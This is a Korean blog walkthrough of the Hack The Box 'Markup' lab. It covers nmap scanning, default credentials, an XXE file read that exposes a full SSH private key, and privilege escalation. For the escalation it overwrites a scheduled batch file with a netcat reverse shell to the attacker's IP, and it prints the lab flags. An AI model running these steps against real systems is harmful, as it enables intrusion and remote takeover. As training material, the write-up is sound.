워게임/Hack The Box

[Starting Point] TIER 1 - Markup

  • -

문제

What version of Apache is running on the target's port 80?

$ sudo nmap -sV -p -T5 --open 10.129.95.192
tarting Nmap 7.93 ( https://nmap.org ) at 2023-12-14 23:35 GMT
Nmap scan report for 10.129.95.192
Host is up (0.25s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_8.1 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
443/tcp open  ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 309.00 seconds

nmap 옵션 설명

  • -sV: 서비스 버전 감지 활성화 옵션. 활성화되면, nmap은 타겟의 포트에 연결된 서비스의 이름과 버전을 파악하려고 시도함.
  • -p-: 모든 포트(1부터 65535까지)를 스캔하겠다는 옵션. 이는 가능한 모든 포트를 대상으로 스캔합니다
  • -T5: 스캔 타이밍을 설정하는 옵션. 0부터 5까지 설정할 수 있으며, 숫자가 높을수록 스캔 속도가 빨라지지만, 네트워크 부하와 탐지 가능성이 증가합니다.
  • --open: 열려 있는 포트만 결과에 표시하라는 옵션. 이는 스캔 결과에서 열려 있는 포트만 보여줍니다.

정답: 2.4.41

 

What username:password combination logs in successfully?

정답: admin:password

 

What is the word at the top of the page that accepts user input?

정답: order

 

What XML version is used on the target?

정답: 1.0

 

What does the XXE / XEE attack acronym stand for?

XML 파서의 취약점을 이용하여 원격 시스템에서 데이터를 읽거나, 서버 측 요청 위조(SSRF), 서비스 거부(Denial of Service, DoS) 공격 등을 수행할 수 있음.

 

XXE 공격의 기본 원리는 XML 문서 내에 외부 엔티티를 포함시키는 것임. XML 엔티티는 문서 내에서 재사용할 수 있는 값을 정의하는데 사용되는데, 이를 외부 엔티티로 확장하여 공격자가 서버의 로컬 파일을 읽거나 외부 시스템과의 상호작용을 시도할 수 있음.

 

XXE 공격을 방지하기 위한 방법

  • XML 파서 구성 변경: 외부 엔티티와 DTD(DocType Definitions)의 처리를 비활성화합니다.
  • 화이트리스트 기반의 입력 검증: 사용자로부터 받은 입력에 대해 엄격한 검증을 수행합니다.
  • 보안 업데이트 및 패치 적용: 사용 중인 소프트웨어와 라이브러리를 최신 상태로 유지합니다.

 

참고자료

정답: XML External Entity

What username can we find on the webpage's HTML code?

정답: Daniel

 

What is the file located in the Log-Management folder on the target?

XXE 공격을 통해 파일의 내용을 응답 값에 표시할 수 있다는 것을 확인하였다.

 

페이지 소스코드 내 주석으로 표시된 사용자 danial의 SSH 키를 요청하였다.

해당 파일이 존재하여 응답에 SSH 키의 데이터를 볼 수 있었다.

 

$ echo "-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----" > id_rsa
$ chmod 400 id_rsa
$ ls -al id_rsa 
-r-------- 1 htb-lrtk htb-lrtk 2602 Dec 15 00:33 id_rsa

XXE를 통해 얻은 SSH 키의 데이터를 복사하여 로컬에 id_rsa 파일을 생성하였다.
또한 SSH 키의 파일 권한이 400 보다 높으면 사용을 못하기 때문에 chmod 명령을 통해 권한을 400으로 수정하였다.

 

$ ssh -i id_rsa daniel@10.129.95.192

생성한 SSH 키를 이용하여 공격 대상에 SSH로 접근하였다.

 

daniel@MARKUP C:\Users\daniel\Desktop>cd C:\

daniel@MARKUP C:\>dir
 Volume in drive C has no label.
 Volume Serial Number is BA76-B4E3

 Directory of C:\

03/12/2020  02:56 AM    <DIR>          Log-Management
09/14/2018  11:12 PM    <DIR>          PerfLogs
07/28/2021  01:01 AM    <DIR>          Program Files
09/14/2018  11:21 PM    <DIR>          Program Files (x86)
07/28/2021  02:38 AM                 0 Recovery.txt
03/05/2020  04:40 AM    <DIR>          Users
07/28/2021  01:16 AM    <DIR>          Windows
03/05/2020  09:15 AM    <DIR>          xampp
               1 File(s)              0 bytes
               7 Dir(s)   7,386,136,576 bytes free

daniel@MARKUP C:\>cd Log-Management

daniel@MARKUP C:\Log-Management>dir 
 Volume in drive C has no label.
 Volume Serial Number is BA76-B4E3

 Directory of C:\Log-Management

03/12/2020  02:56 AM    <DIR>          .
03/12/2020  02:56 AM    <DIR>          ..
03/06/2020  01:42 AM               346 job.bat     
               1 File(s)            346 bytes      
               2 Dir(s)   7,386,136,576 bytes free

정답: job.bat

 

What executable is mentioned in the file mentioned before?

daniel@MARKUP C:\Log-Management>type job.bat 
@echo off 
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit

정답: wevtutil.exe

 

Submit user flag

daniel@MARKUP C:\Users\daniel\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is BA76-B4E3

 Directory of C:\Users\daniel\Desktop

03/05/2020  06:18 AM    <DIR>          .
03/05/2020  06:18 AM    <DIR>          ..
03/05/2020  06:18 AM                35 user.txt
               1 File(s)             35 bytes
               2 Dir(s)   7,386,136,576 bytes free

daniel@MARKUP C:\Users\daniel\Desktop>type user.txt
032d2fc8952a8c24e39c8f0ee9918ef7 

정답: 032d2fc8952a8c24e39c8f0ee9918ef7

 

Submit root flag

daniel@MARKUP C:\Log-Management>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State  
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

권한 설명

  • SeChangeNotifyPrivilege: 파일 시스템 내에서 상위 디렉토리의 권한 없이도 하위 디렉토리에 접근할 수 있는 권한
  • SeIncreaseWorkingSetPrivilege: 프로세스가 사용할 수 있는 메모리 양을 증가시키는 권한

관리자 권한

  • SeDebugPrivilege: 모든 시스템 프로세스의 메모리에 접근하고 수정할 수 있는 디버깅 권한
  • SeTakeOwnershipPrivilege: 시스템 내의 파일이나 객체에 대한 소유권을 변경할 수 있는 권한
  • SeBackupPrivilege 및 SeRestorePrivilege: 보안 설정을 무시하고 시스템 파일 및 데이터를 백업하고 복원할 수 있는 권한
  • SeRemoteShutdownPrivilege: 시스템을 원격으로 종료하거나 재시작할 수 있는 권한
  • SeChangeNotifyPrivilege: 파일 시스템 내에서 상위 디렉토리의 권한 없이도 하위 디렉토리에 접근할 수 있는 권한. 관리자와 일반 사용자 모두에게 부여됨
  • SeSecurityPrivilege: 보안 로그와 관련된 설정을 수정할 수 있는 권한

daniel의 권한 확인 시 관리자 권한은 존재하지 않는 것으로 확인된다.

 

daniel@MARKUP C:\Log-Management>type job.bat 
@echo off 
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit

wevtutil.exe
이벤트 로그와 발행자에 대한 정보를 검색할 수 있도록 해줍니다. 이 명령어를 사용하여 이벤트 매니페스트를 설치하고 제거하고, 쿼리를 실행하며, 로그를 내보내고, 보관하고, 지울 수도 있습니다.

  • cl 옵션 : 지정된 이벤트 로그에서 이벤트를 지웁니다. /bu 옵션을 사용하면 지워진 이벤트를 백업할 수 있습니다.

Log와 관련이 있어 보이는 디렉터리 내 존재하는 job.bat을 확인 시 wevtutil.exe를 통해 이벤트 로그를 지우는 것을 알 수 있었다.

 

FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin

또한 위 코드를 통해 bcdedit 명령의 결과에 Access 문자열이 존재한다면, noAdmin 함수로 이동하여 종료되는 것을 확인 할 수 있었다. 즉, wevtutill.exe은 관리자 권한으로 동작하는 프로그램이라는 것이다.

 

daniel@MARKUP C:\Log-Management>icacls job.bat
job.bat BUILTIN\Users:(F)
        NT AUTHORITY\SYSTEM:(I)(F)
        BUILTIN\Administrators:(I)(F)
        BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

icacls 명령을 통해 job.bat의 권한을 확인 시 Users 사용자 그룹이 모든 권한을 가지고 있다는 것을 확인할 수 있다.

  1. BUILTIN\Users:(F): 'Users' 사용자 그룹은 job.bat 파일에 대해 전체 권한(Full control)을 가짐
  2. NT AUTHORITY\SYSTEM:(I)(F): 'SYSTEM' 계정은 상속된(Inherited) 전체 권한을 가짐
  3. BUILTIN\Administrators:(I)(F): 'Administrators' 그룹 또한 상속된 전체 권한을 가짐
  4. BUILTIN\Users:(I)(RX): 'Users' 그룹은 상속된 읽기 및 실행(Read and eXecute) 권한을 가짐

 

daniel@MARKUP C:\Log-Management> powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Log-Management> schtasks

Folder: \
TaskName                                 Next Run Time          Status
======================================== ====================== =============== 
INFO: There are no scheduled tasks presently available at your access level.   

job.bat의 작업 스케줄을 확인하려고 했지만, 관리자 권한만 확인할 수 있었다.

 

PS C:\Log-Management> ps "wevtutil" 

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
     33       3      472       1520              2404   1 wevtutil

때문에 ps 명령을 사용하여 wevtutil.exe 동작 확인하였고, job.bat이 동작했다는 뜻과 동일하였다. 그럼, job.bat 파일 수정 권한이 존재하여 해당 bat 스크립트에 netcat를 동작 시키도록 코드를 넣는 시나리오를 생각하였다.


그렇게 하면, 관리자 권한을 가진 프로세스가 자동으로 job.bat를 실행 시켜 로컬 PC에서 netcat으로 관리자 권한에 접근할 수 있지 않을까라는 생각 때문이다.

 

PS C:\Log-Management> wget https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe -outfile nc64.exe 
wget : The remote name could not be resolved: 'github.com' 
At line:1 char:1
+ wget https://github.com/rahuldottech/netcat-for-windows/releases/down ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException 
    + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

피해자 서버에서 직접 다운로드 하여고 했지만, HTB에서 페쇄망으로 구축하였기 때문에 다운로드에 실패하였다.

 

# Local 환경
$ wget https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe
--2023-12-15 02:37:32--  https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/149936095/2ebb6500-bef8-11e8-9720-0b97e7c6c78e?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20231215%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20231215T023734Z&X-Amz-Expires=300&X-Amz-Signature=1b6328f204a9814a3a6709e7e90ec68fa381b1fd43e0a76c705fbc55d068ba89&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=149936095&response-content-disposition=attachment%3B%20filename%3Dnc64.exe&response-content-type=application%2Foctet-stream [following]
--2023-12-15 02:37:32--  https://objects.githubusercontent.com/github-production-release-asset-2e65be/149936095/2ebb6500-bef8-11e8-9720-0b97e7c6c78e?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20231215%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20231215T023734Z&X-Amz-Expires=300&X-Amz-Signature=1b6328f204a9814a3a6709e7e90ec68fa381b1fd43e0a76c705fbc55d068ba89&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=149936095&response-content-disposition=attachment%3B%20filename%3Dnc64.exe&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45272 (44K) [application/octet-stream]
Saving to: ‘nc64.exe’

nc64.exe                                        100%[=====================================================================================================>]  44.21K  --.-KB/s    in 0.02s   

2023-12-15 02:37:33 (2.16 MB/s) - ‘nc64.exe’ saved [45272/45272]

$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

그래서 로컬 환경에서 다운로드 후 python을 이용하여 전달하기로 하였다.

 

# 피해자 서버
PS C:\Log-Management> wget 10.10.14.121:8000/nc64.exe -outfile nc64.exe 
PS C:\Log-Management> dir 


    Directory: C:\Log-Management


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         3/6/2020   1:42 AM            346 job.bat
-a----       12/14/2023   7:40 PM          45272 nc64.exe

로컬 환경의 웹 서버에 접근하여 netcat를 다운로드하였다.

 

# Local 환경
$ sudo nc -lvnp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

피해자의 서버에 netcat 다운로드가 완료되면, 로컬 환경에서 netcat 서버를 열어줬다.

 

# 피해자 서버
daniel@MARKUP C:\Log-Management>echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.121 1234 > C:\Log-Management\job.bat

피해자의 서버에서 job.bat의 내용을 cmd.exe으로 공격자의 서버에 연결하겠다는 리버스쉘 코드를 넣었다.

 

$ sudo nc -lvnp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.129.95.192.
Ncat: Connection from 10.129.95.192:49737.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
f574a3e7650cebd8c39784299cb570f8

시간이 조금 지나면, 작업 스케줄러에 의해서 job.bat 파일이 동작하고, 로컬 환경의 netcat에 접근하게 된다.

정답: f574a3e7650cebd8c39784299cb570f8

'워게임 > Hack The Box' 카테고리의 다른 글

[Starting Point] TIER 1 - Included  (0) 2023.12.30
[Starting Point] TIER 1 - Bike  (0) 2023.08.31
[Starting Point] TIER 1 - Ignition  (0) 2023.08.31
[Starting Point] TIER 1 - Responder  (0) 2023.07.31
[Starting Point] TIER 1 - Responder  (0) 2023.06.29
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.